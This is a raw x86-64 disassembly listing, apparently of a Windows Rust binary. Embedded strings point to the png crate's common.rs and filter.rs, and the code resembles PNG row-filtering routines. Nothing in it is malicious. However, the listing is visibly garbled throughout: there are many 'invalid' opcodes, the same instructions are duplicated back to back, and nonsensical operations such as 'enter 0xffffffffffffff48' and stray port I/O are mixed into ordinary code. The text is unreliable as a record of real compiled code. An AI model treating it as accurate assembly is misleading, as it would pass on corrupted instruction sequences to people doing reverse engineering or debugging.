mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
lea rdx, [0x140216d78]
lea edx, [0x140216d78]
lea edx, [0x140216d78]
lea rcx, [rbp + 8]
lea ecx, [rbp + 8]
or al, ch
cli
invalid
call fcn.140006275
jmp 0x14006190b
lea rax, [rbp - 8]
mov qword [rax], rcx
lea rcx, [rbp - 0x18]
mov qword [rcx], rax
lea rax, [0x140289c40]
lea r8, [rbp - 0x50]
mov qword [r8], rax
push 1
pop rax
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
and dword [rax + 0x20], 0
and dword [rax + 0x20], 0
lea rdx, case.0x140047a7d.118
mov qword [rcx + 8], rdx
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
lea rdx, [0x140216d78]
lea rcx, [rbp + 8]
call fcn.140006275
jmp 0x14006190b
lea rax, str._bp__
lea r8, [rbp - 0x50]
mov qword [r8], rax
mov qword [r8 + 8], 1
mov qword [r8 + 0x10], 8
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
lea rdx, [0x140216d78]
lea rcx, [rbp + 8]
call fcn.140006275
jmp 0x14006190b
lea rax, [rcx + 8]
lea rcx, [rbp - 8]
mov qword [rcx], rax
lea rax, [rbp - 0x18]
mov qword [rax], rcx
lea rcx, [0x140289c40]
lea r8, [rbp - 0x50]
mov qword [r8], rcx
imul eax, dword [rbx - 0x72b3ffde], 0x45
mov al, 0x49
mov dword [rax], ecx
push 1
pop rcx
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
lea rdx, [0x140060fa7]
lea edx, [0x140060fa7]
lea edx, [0x140060fa7]
mov eax, 0x48fffff6
mov dword [rax + 8], edx
mov qword [rax + 8], rdx
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
lea rdx, [0x140216d78]
lea rcx, [rbp + 8]
lea ecx, [rbp + 8]
lea ecx, [rbp + 8]
call fcn.140006275
test al, al
jne 0x140061949
movups xmm0, xmmword [rbp + 8]
lea rdx, [rbp - 0x50]
movaps xmmword [rdx], xmm0
mov rax, qword [rbp + 0x18]
mov qword [rdx + 0x10], rax
mov cl, 0x27
call fcn.140060da9
mov rsi, rax
mov rax, qword [rbp]
mov rcx, qword [rax]
mov ecx, dword [rax]
mov ecx, dword [rax]
mov rdx, qword [rax + 8]
call fcn.1400619c2
mov rax, rsi
add rsp, 0xa8
pop rsi
pop rbp
ret
lea rax, [0x140289ae0]
add eax, 0x228190
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_alloc_src_string.rs
lea r9, fcn.140009390
push 0x37
pop rdx
lea r8, [rbp - 0x50]
call fcn.1401c7200
ud2
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], 0xfffffffffffffffe
mov rdx, rcx
mov edx, ecx
lea rsi, [rbp - 0x60]
mov rcx, rsi
call fcn.140061a74
mov cl, byte [rsi + 0x127]
add al, ch
invalid
sti
invalid
dec dword [rdi]
mov dh, 0x8e
sub byte [rcx], al
add byte [rax], al
add ecx, 7
shr ecx, 3
imul rcx, rax
scasd eax, dword [rdi]
enter 0xffffffffffffff48, 0xffffffffffffffc9
add al, ch
invalid
scasd eax, dword [rdi]
enter 0xffffffffffffff48, 0xffffffffffffffc9
mov eax, 0xaf
bt eax, ecx
jae 0x140061a4a
shl ecx, 3
loope 0x140061a2b
movabs rsi, 0x801060104030201
shr rsi, cl
lea rcx, [rbp - 0x60]
lea ecx, [rbp - 0x60]
add al, byte [rbx]
add al, 1
invalid
call fcn.140061677
mov eax, esi
add rsp, 0x158
add byte [rsi + 0x5d], bl
add byte [rsi + 0x5d], bl
ret
call fcn.140061627
ud2
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp - 0x60]
movabs al, byte [0x834890fffffc0be8]
invalid
invalid
movabs al, byte [0x834890fffffc0be8]
invalid
pop rsi
pop rbp
ret
sub byte [rdi + r9 - 0x49], al
xor cl, byte [rdi]
adc byte [rdx + 0xc], al
movups xmm1, xmmword [rdx + 0x18]
movups xmmword [rcx + 0x100], xmm0
adc dword [rcx + 0x100], eax
adc dword [rcx + 0x100], eax
add byte [rdi], cl
adc dword [rcx + 0x10c], ecx
mov dword [rcx + rax], ecx
add byte [rax], al
movups xmmword [rcx + 0x10c], xmm1
add byte [rax], al
mov qword [rcx + 0x11c], rax
mov word [rcx + 0x127], r8w
mov dword [rcx + 0x127], r8d
mov dword [rcx + 0x127], r8d
add dh, al
and dword [rcx + rax], 0x48000000
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov byte [rcx + 0x124], 0
movabs rax, 0x8000000000000001
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48418948], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48418948], al
invalid
mov byte [rcx + 0xfc], 2
mov byte [rcx + 0xfc], 2
add byte [rax], al
add cl, byte [rax - 0x77]
invalid
mov qword [rcx + 0x60], rax
and dword [rcx + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8b, byte [rdx + 0x31]
and dword [rcx + 0xa0], 0
mov r9d, dword [rdx + 8]
or byte [rcx + r9*4 - 0x77], al
int3
add byte [rax], al
invalid
or byte [rcx + r9*4 - 0x77], al
int3
add byte [rax], al
mov rdx, qword [rdx]
mov qword [rcx + 0xc4], rdx
add byte [rax], al
add byte [rax + rcx*4 - 0x7f], al
and eax, 0x83000001
invalid
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rcx*4 - 0x7f], al
and eax, 0x83000001
movabs eax, dword [0xd0a1830000000098]
add byte [rax], al
add byte [rax], al
and dword [rcx + 0xd0], 0
mov byte [rcx + 0x126], 4
mov qword [rcx + 0x78], rax
and qword [rcx], 0
mov eax, 8
mov qword [rcx + 8], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x10], xmm0
mov qword [rcx + 0x20], rax
movups xmmword [rcx + 0x28], xmm0
mov qword [rcx + 0x38], rax
and qword [rcx + 0x40], 0
ret
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], 0xfffffffffffffffe
add byte [rax], al
invalid
invalid
invalid
dec dword [rcx - 0x3576b72a]
lea rdi, [rbp - 0x60]
mov rcx, rdi
mov ecx, edi
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edx
add byte [rax], al
add byte [rax], al
invalid
invalid
rol byte [rax], 1
add byte [rax], al
invalid
call fcn.140061a74
mov cl, byte [rdi + 0x127]
movzx edi, byte [rdi + 0x128]
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
mov ebx, esi
call fcn.1400615e4
mov rsi, rax
imul rsi, rbx
scasd eax, dword [rdi]
cmp edi, 8
scasd eax, dword [rdi]
cmp edi, 8
je 0x140061bac
cmp edi, 0x10
jne 0x140061b88
add rsi, rsi
jmp 0x140061bac
invalid
and al, 0x40
cmp bh, 8
cmp dil, 8
ja 0x140061bc7
mov al, 8
movzx eax, al
div dil
movzx ecx, al
mov dh, 0xc8
mov dh, 0xc8
mov rax, rsi
xor edx, edx
div rcx
cmp rdx, 1
mov rsi, rax
invalid
sbb rsi, 0xffffffffffffffff
invalid
fdivp st(7)
inc rsi
lea rcx, [rbp - 0x60]
call fcn.140061677
cli
invalid
dec dword [rax - 0x77]
invalid
add rsp, 0x158
cli
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
call fcn.1401c7110
cmp eax, 0xf001655
invalid
cmp eax, 0xf001655
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp - 0x60]
call fcn.140061677
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov eax, dword [rcx + rax*4]
ret
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov ecx, r14d
mov rdx, r8
mov r8, rax
call fcn.140061e4f
jmp 0x140061e38
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
mov edx, esi
and edx, 0x1f
mov qword [rsp + 0x60], rdx
mov rdx, rsi
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0x58], rdx
add rdx, r13
mov qword [rsp + 0x50], rdx
mov r12, 0xffffffffffffffff
push qword [rcx]
fisttp dword [rbp + rcx*4 - 0x4c]
and al, 0x80
add byte [rax], al
add byte [rcx], dh
in eax, dx
push qword [rcx]
fisttp dword [rbp + rcx*4 - 0x4c]
and al, 0x80
add byte [rax], al
add byte [rcx], dh
in eax, dx
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x68], r9
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x68], ecx
cmp rbx, 4
je 0x140061e06
mov qword [rsp + 0x78], rdx
push rsp
and al, 0x78
lea rdx, [0x14023f150]
mov r15b, byte [rbx + rdx]
mov rdi, rsi
mov edi, esi
mov edi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], r13
insb byte [rdi], dx
and al, 0x38
insb byte [rdi], dx
and al, 0x38
mov qword [rsp + 0x30], rax
mov rsi, r11
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rcx
mov ecx, r15d
mov rdx, r8
mov r8, rax
call fcn.140061e4f
mov qword [rsp + 0x80], r13
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0x20
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
mov rcx, r14
call case.0x14001155f.345
std
dec dword [rax - 0x7b]
invalid
je 0x140061d81
std
dec dword [rax - 0x7b]
sal byte [rax + rsi + 0x45], 0x31
sal byte [rcx], 0xc9
xor r8d, r8d
xor ecx, ecx
cmp rdx, r8
je 0x140061d78
invalid
sbb eax, 0xc8a46
mov r9b, byte [rax + r8]
mov r10d, r9d
sar r10b, 7
xor r9b, r10b
sub r9b, r10b
sub cl, dl
retf 0xc041
sub cl, dl
movzx r9d, r9b
mov dh, 0xc9
add rcx, r9
inc r8
jmp 0x140061d56
add r13, rcx
int 0x4d
cmovb ebp, esp
in al, dx
cmovb r13, r12
in al, dx
jmp 0x140061d44
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
add byte [rax], al
add byte [rbp + 0x31], al
sal byte [rcx], 0xc0
add byte [rax], al
add byte [rbp + 0x31], al
sal byte [rcx], 0xc0
mov r11, rsi
mov rsi, rdi
cmp rdx, r8
je 0x140061dbe
ret 0x1d74
mov r9b, byte [rcx + r8]
mov r10d, r9d
sar r10b, 7
xor r9b, r10b
rol dword [rbp + 0x28], 1
rol dword [rbp + 0xf], 1
mov dh, 0xc9
rol dword [rbp + 0x28], 1
rol dword [rbp + 0xf], 1
mov dh, 0xc9
add rax, r9
inc r8
jmp 0x140061d9c
inc rbx
add r13, rax
cmovb r13, r12
mov rdx, qword [rsp + 0x78]
cmp r13, rdx
movzx eax, bpl
movzx ebp, r15b
cmova ebp, eax
cmovb rdx, r13
invalid
mov r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x120]
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x110]
mov ecx, dword [rsp + 0x110]
invalid
mov ecx, dword [rsp + 0x110]
mov r13, qword [rsp + 0x128]
jmp 0x140061cbf
lodsb al, byte [rsi]
and al, 0x28
add dword [rax], eax
add cl, ch
mov ecx, 0x41fffffe
mov dh, 4
mov r14b, 4
cmp bpl, 4
je 0x140061e38
invalid
sub dword [rax - 0x77], ecx
je 0x140061e37
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rcx
mov ecx, ebp
mov rdx, r8
mov r8, rax
call fcn.140061e4f
sbb al, byte [rax]
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
mov r14d, ebp
out dx, al
mov eax, r14d
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov eax, dword [rsp + 0x280]
mov rdx, qword [rsp + 0x278]
mov rdi, qword [rsp + 0x270]
mov edi, dword [rsp + 0x270]
mov edi, dword [rsp + 0x270]
mov r14, qword [rsp + 0x268]
mov r10, qword [rsp + 0x260]
mov edx, dword [rsp + 0x260]
mov edx, dword [rsp + 0x260]
invalid
movzx eax, cl
lea rcx, [0x14028be2c]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r8
mov r8, r14
jmp 0x140062815
mov qword [rsp + 0x38], r9
mov byte [rsp + 0x37], sil
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r15
stc
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
dec dword [rcx + 0x1fe183d1]
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0x158], rax
add rax, rdx
add eax, edx
add eax, edx
mov qword [rsp + 0x160], rdx
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x150], rcx
mov esi, 0x20
mov qword [rsp + 0x168], rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
or eax, 0x1b5750
or eax, 0x1b5750
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0xe0], rax
and al, 0xe0
add byte [rax], al
add byte [rax + 1], cl
invalid
and al, 0xe0
add byte [rax], al
add byte [rax + 1], cl
ror byte [rax - 0x77], 1
invalid
invalid
xchg esp, eax
and al, 0xe8
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rsi
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdi*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x100], rsi
sub rbx, r15
cmp rbx, rdi
ja 0x140062a30
mov rcx, r14
mov edi, ebx
and edi, 0x1f
mov r14, rbx
and r14, 0xffffffffffffffe0
lea rax, [rcx + r14]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov qword [rsp + 0x98], r15
mov rcx, r15
mov r12, qword [rsp + 0x38]
mov rdx, r12
mov r15, qword [rsp + 0x260]
and al, 0x60
add al, byte [rax]
add byte [rbp - 0x77], cl
clc
and al, 0x60
add al, byte [rax]
add byte [rbp - 0x77], cl
clc
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0x70], rax
add rax, rdx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rsi
cmp rbx, r15
ja 0x140062a5c
lea rax, [r12 + r14]
lea rcx, [rsp + 0x110]
mov qword [rcx], r12
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdi
xorps xmm0, xmm0
lea rdx, [rsp + 0x170]
and qword [rdx + 0x20], 0
movups xmmword [rdx + 0x10], xmm0
and qword [rdx + 0x40], 0
movups xmmword [rdx + 0x30], xmm0
and qword [rdx + 0x60], 0
movups xmmword [rdx + 0x50], xmm0
and qword [rdx + 0x80], 0
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0x20], 0x20
movups xmmword [rdx + 0x70], xmm0
lea rax, [rsp + 0x148]
mov qword [rdx], rax
lea rax, [rsp + 0xe0]
mov qword [rdx + 8], rax
lea rax, [rsp + 0x40]
mov qword [rdx + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rdx + 0x48], rax
mov qword [rdx + 0x68], rcx
mov dword [rdx + 0x68], ecx
mov dword [rdx + 0x68], ecx
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x170]
add dword [rax], eax
add al, ch
or dword [rdx], 0x8b480000
test byte [rax + riz*4], ah
add byte [rax], al
invalid
add dword [rax], eax
add al, ch
or dword [rdx], 0x8b480000
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x140], rax
test rax, rax
test eax, eax
invalid
test byte [rax + 5], bh
mov qword [rsp + 0x140], rax
test rax, rax
test eax, eax
test eax, eax
je 0x14006261b
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
and al, 0xa8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
and al, 0xb8
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
mov r14, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
add byte [rax], al
mov rbp, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
lea rcx, [rsp + 0x110]
call case.0x14001155f.345
test rax, rax
je 0x14006261b
mov r13, rax
mov r15, rdx
mov edi, edx
mov edi, edx
xor esi, esi
cmp rsi, 0x20
je 0x140062075
cmp qword [rsp + 0x68], rsi
je 0x140062994
je 0x140062140
push 0x871840f
add byte [rax], al
cmp rbx, rsi
je 0x1400629a2
cmp rdi, rsi
je 0x1400629b4
cmp r15, rsi
je 0x1400629c6
mov byte [rax], cl
add byte [rax], al
cmp qword [rsp + 0x108], rsi
mov ah, 0x24
or byte [rcx], al
add byte [rax], al
je 0x1400629d8
mov rax, qword [rsp + 0x138]
mov r12b, byte [rax + rsi]
mov cl, byte [r14 + rsi]
mov dl, byte ss:[rbp + rsi]
mov dl, byte ss:[rbp + rsi]
mov r8b, byte [r13 + rsi]
call fcn.140062b8d
sub r12b, al
mov rax, qword [rsp + 0x140]
mov byte [rax + rsi], r12b
inc rsi
jmp 0x14006210e
mov ebp, esi
mov ecx, r8d
and ecx, 0x1f
and r8, 0xffffffffffffffe0
lea rax, [rsp + 0x40]
mov qword [rax + 0x10], rdx
add rdx, r8
mov qword [rax + 0x18], r8
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov ecx, 0x20
mov qword [rax + 0x20], rcx
mov edx, edi
and edx, 0x1f
and rdi, 0xffffffffffffffe0
lea r8, [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [r8], r14
add r14, rdi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], r14
mov qword [r8 + 0x18], rdx
mov qword [r8 + 0x20], rcx
mov edx, r10d
and edx, 0x1f
and r10, 0xffffffffffffffe0
lea r11, [rsp + 0x110]
mov qword [r11], r9
add r9, r10
mov qword [r11 + 8], r10
mov qword [r11 + 0x10], r9
mov qword [r11 + 0x18], rdx
mov qword [r11 + 0x20], rcx
xorps xmm0, xmm0
lea rsi, [rsp + 0x170]
movups xmmword [rsi + 0x10], xmm0
and qword [rsi + 0x20], 0
movups xmmword [rsi + 0x30], xmm0
and qword [rsi + 0x40], 0
mov qword [rsi], rax
mov qword [rsi + 8], r8
mov qword [rsi + 0x28], r11
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov rdx, rsi
bnd call fcn.140062a86
bnd call fcn.140062a86
mov r8, qword [rsp + 0xa0]
test r8, r8
je 0x14006272e
mov rcx, qword [rsp + 0xa8]
mov r9, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xc0]
mov edx, dword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
xor r11d, r11d
cmp r11, 0x20
je 0x140062226
cmp rdx, r11
je 0x14006291c
add byte [rax], al
mov qword [rsp + 0x38], r9
and al, 0x38
mov byte [rsp + 0x37], sil
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r15
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0xf0], rax
add rax, rdx
mov qword [rsp + 0xf8], rdx
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rcx
mov esi, 0x20
mov qword [rsp + 0x100], rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0x40], rax
add rax, rdx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rsi
sub rbx, r15
cmp rbx, rdi
ja 0x140062a39
mov eax, ebx
and eax, 0x1f
and rbx, 0xffffffffffffffe0
lea rcx, [r14 + rbx]
lea rdi, [rsp + 0x70]
mov qword [rdi], r14
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x98
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x98
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x260]
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
lea r8, [rsp + 0x110]
mov qword [r8], rax
add rax, rdx
mov qword [r8 + 8], rdx
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov qword [r8 + 0x20], rsi
xorps xmm0, xmm0
lea rbx, [rsp + 0x170]
and qword [rbx + 0x20], 0
movups xmmword [rbx + 0x10], xmm0
and qword [rbx + 0x40], 0
movups xmmword [rbx + 0x30], xmm0
and qword [rbx + 0x60], 0
movups xmmword [rbx + 0x50], xmm0
lea rax, [rsp + 0xe0]
mov qword [rbx], rax
lea rax, [rsp + 0x40]
mov qword [rbx + 8], rax
mov qword [rbx + 0x28], rdi
mov qword [rbx + 0x48], r8
lea rsi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, rbx
call fcn.140062b0b
mov r8, qword [rsp + 0xa0]
test r8, r8
je 0x140062833
mov rcx, qword [rsp + 0xa8]
mov r10, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r11, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
add byte [rax], al
add byte [rax - 0x75], cl
mov esp, 0xd024
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xd8
add byte [rax], al
add byte [rbp + 0x31], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov esp, 0xd024
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xd8
add byte [rax], al
add byte [rbp + 0x31], al
test byte [rcx - 0x7d], 0xfe
and byte [rbx + rcx*2 + 0x4c], dh
cmp edx, esi
je 0x140062958
cmp r14, 0x20
je 0x140062499
cmp rax, r14
je 0x140062967
cmp r9, r14
je 0x140062979
cmp rcx, r14
je 0x14006298b
mov bpl, byte [r10 + r14]
mov r15b, byte [r11 + r14]
mov r12b, byte [rdi + r14]
mov r13d, r12d
and r13b, r15b
xor r12b, r15b
shr r12b, 1
add r12b, r13b
sub bpl, r12b
mov byte [r8 + r14], bpl
inc r14
jmp 0x140062448
mov ebp, esi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r15
mov r13, rdx
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0x50], rax
add rax, rdx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov esi, 0x20
mov qword [rsp + 0x60], rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_src_filter.rs
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.14001ca54
mov ecx, edx
and ecx, 0x1f
and rdx, 0xffffffffffffffe0
mov qword [rsp + 0x70], rax
add rax, rdx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rsi
sub rbx, r15
mov r8, r14
mov r14, rdi
cmp rbx, rdi
ja 0x140062a50
mov r12, r15
mov eax, ebx
and eax, 0x1f
and rbx, 0xffffffffffffffe0
lea rcx, [r8 + rbx]
lea rdx, [rsp + 0x110]
mov qword [rdx], r8
mov qword [rdx + 8], rbx
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
xorps xmm0, xmm0
lea rsi, [rsp + 0x170]
and qword [rsi + 0x20], 0
movups xmmword [rsi + 0x10], xmm0
and qword [rsi + 0x40], 0
mov qword [rdx + 0x20], 0x20
movups xmmword [rsi + 0x30], xmm0
lea rax, [rsp + 0x40]
mov qword [rsi], rax
lea rax, [rsp + 0x70]
mov qword [rsi + 8], rax
mov qword [rsi + 0x28], rdx
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov rdx, rsi
call fcn.140062a86
mov r8, qword [rsp + 0xa0]
test r8, r8
je 0x140062785
mov rcx, qword [rsp + 0xa8]
mov r9, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
xor r11d, r11d
cmp r11, 0x20
je 0x1400625a2
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x150]
mov rdi, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xf8]
cmp rax, rbx
cmovb rbx, rax
mov rax, qword [rsp + 0x58]
cmp rbx, rax
cmovae rbx, rax
mov r14, qword [rsp + 0x50]
mov r15, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
cmp rbx, rax
cmovae rbx, rax
mov r12, qword [rsp + 0x120]
mov rax, qword [rsp + 0x128]
cmp rbx, rax
cmovae rbx, rax
xor r13d, r13d
cmp rbx, r13
je 0x1400626b8
lea rbp, [r13 + 1]
mov cl, byte [r14 + r13]
mov dl, byte [r15 + r13]
mov r8b, byte [r12 + r13]
mov sil, byte [rdi + r13]
call fcn.140062b8d
sub sil, al
mov rax, qword [rsp + 0x68]
mov byte [rax + r13], sil
mov r13, rbp
jmp 0x140062689
xor esi, esi
mov rdi, qword [rsp + 0x270]
mov r14, qword [rsp + 0x268]
cmp qword [rsp + 0x98], rsi
je 0x140062724
mov rax, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
cmp r8, rdx
cmovb rdx, r8
mov r8, qword [rsp + 0x120]
mov r9, qword [rsp + 0x128]
cmp rdx, r9
cmovae rdx, r9
xor r9d, r9d
mov esi, ebp
cmp rdx, r9
je 0x14006281d
mov r10b, byte [rcx + r9]
sub r10b, byte [r8 + r9]
mov byte [rax + r9], r10b
inc r9
jmp 0x14006276b
mov rax, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
cmp r8, rdx
cmovb rdx, r8
mov r8, qword [rsp + 0x120]
mov r9, qword [rsp + 0x128]
cmp rdx, r9
cmovae rdx, r9
xor r9d, r9d
mov esi, ebp
mov rdi, r12
cmp rdx, r9
je 0x1400627db
mov r9, rdi
call fcn.1401c59a4
mov eax, esi
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x58]
cmp rdx, rcx
cmovb rcx, rdx
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
cmp rcx, r9
cmovae rcx, r9
mov r9, qword [rsp + 0x120]
